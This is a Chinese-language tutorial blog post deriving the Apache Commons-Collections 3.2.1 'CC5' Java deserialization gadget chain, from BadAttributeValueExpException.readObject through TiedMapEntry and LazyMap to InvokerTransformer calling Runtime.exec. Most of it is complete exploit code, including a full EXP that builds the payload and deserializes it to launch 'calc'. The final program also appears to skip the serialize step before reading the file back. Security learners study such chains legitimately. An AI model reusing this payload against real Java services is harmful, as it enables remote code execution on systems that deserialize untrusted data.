环境
commons-collections版本如下,这里我一直参考的博客没说,但如果是4.0的话是有问题的后面会提到,其它环境没变
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
链子分析
CC5就是改了入口点然后和CC1的LazyMap连接起来,组长后面两条链子没有详细讲了,因为大同小异,这里直接给了入口类,因为这条链子自己去找还是比较困难的,为BadAttributeValueExpException
的 readObject()
方法,然后要和LazyMap.get()
连上,那么就是找谁调用了get()
方法这里如果去find usages去找的话很麻烦,调用实在太多了就直接看吧,最后是找到了TiedMapEntry
类的getValue()
方法调用了LazyMap.get()
这里的map就是LazyMap
的对象,我们在给TiedMapEntry类实例化的时候会传LazyMap
,而这个类的toString()
方法调用了getValue()
方法,接下来就是把TiedMapEntry
类的toString()
方法和入口类BadAttributeValueExpException
的 readObject()
方法连起来这条链子就完成了
发现readObject方法这里valObj
调用了toString()
方法,想办法让valObj
变为TiedMapEntry
类的对象就行了,先看一下它的初始化
1 2
| ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
|
那么其实valObj
就是val
而val
就是BadAttributeValueExpException
类中直接定义的
那么通过反射修改就行了,再来看为什么BadAttributeValueExpException
类可以反序列化
1 2 3
| public class BadAttributeValueExpException extends Exception { public class Exception extends Throwable { public class Throwable implements Serializable {
|
至此链子分析就结束了
EXP编写
后面的命令执行CC1的LazyMap可以用所以直接拿过来就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC5Dome { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method LazyMapget = lazyMapClass.getDeclaredMethod("get", Object.class); LazyMapget.setAccessible(true); LazyMapget.invoke(decorateMap,chainedTransformer); } }
|
执行成功,在这里我发现commons-collections版本得用3.2.1不然下面这个地方就会报错
因为在commons-collections 4.0
版本LazyMap里面没有这个方法
那么接下来就得把TiedMapEntry
类和LazyMap
类连起来,那么先看一看这个类的构造函数
1 2 3 4 5
| public TiedMapEntry(final Map<K, V> map, final K key) { super(); this.map = map; this.key = key; }
|
是一个public类那么调用就更加简单了,所以这里只需要把LazyMap的对象decorateMap传入即可,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC5Dome { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value"); tiedMapEntry.toString(); } }
|
现在就是和入口类连起来,BadAttributeValueExpException
的作用域是public所以直接new一个对象就行,如下
1
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
然后就是让val
变为TiedMapEntry
的对象,因为这个变量是私有的所以利用反射修改
1 2 3 4
| Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field declaredField = c.getDeclaredField("val"); declaredField.setAccessible(true); declaredField.set(badAttributeValueExpException,tiedMapEntry);
|
到这里就结束了,完整EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC5Dome { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class c = Class.forName("javax.management.BadAttributeValueExpException"); Field declaredField = c.getDeclaredField("val"); declaredField.setAccessible(true); declaredField.set(badAttributeValueExpException,tiedMapEntry);
unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
流程图
等把CC系列弄完了再把这个流程图好好弄弄,相当于总结一遍了